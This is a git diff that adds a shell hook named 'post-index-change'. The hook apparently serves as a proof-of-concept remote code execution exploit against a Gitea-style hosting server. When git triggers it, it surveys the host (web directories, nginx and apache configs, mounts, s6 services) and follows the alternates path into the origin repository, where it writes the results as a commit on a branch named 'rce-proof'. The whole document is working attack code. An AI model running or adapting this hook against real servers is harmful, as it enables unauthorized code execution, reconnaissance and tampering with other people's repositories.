diff --git a/hooks/post-index-change b/hooks/post-index-change
new file mode 100755
index 0000000..2c0571e
--- /dev/null
+++ b/hooks/post-index-change
@@ -0,0 +1,14 @@
+#!/bin/sh
+git_dir=$(git rev-parse --absolute-git-dir) || exit 1
+origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2
+case "$origin_objects" in
+ /*) ;;
+ *) origin_objects="$git_dir/objects/$origin_objects" ;;
+esac
+origin_git=${origin_objects%/objects}
+[ "$origin_git" != "$origin_objects" ] || exit 3
+output_blob=$( { echo "== Gitea statik dizin varsayimlari =="; for d in /data/gitea/public /data/gitea/custom/public /app/public /app/gitea/public /usr/local/bin/public; do [ -d "$d" ] && echo "VAR: $d"; done; echo "== nginx/apache var mi =="; ls /etc/nginx 2>/dev/null; ls /etc/apache2 2>/dev/null; ls /etc/httpd 2>/dev/null; echo "== dokploy/static dizinler (mount) =="; cat /proc/mounts | grep -viE 'proc|sys|dev|cgroup|tmpfs|overlay' | head -15; echo "== s6 servisleri =="; ls /etc/s6/ 2>/dev/null ; } 2>&1 | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4
+tree=$(printf "100644 blob %s\tproof\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 5
+commit=$(printf "rce proof\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir="$origin_git" commit-tree "$tree") || exit 6
+git --git-dir="$origin_git" update-ref refs/heads/rce-proof "$commit" || exit 7
+exit 0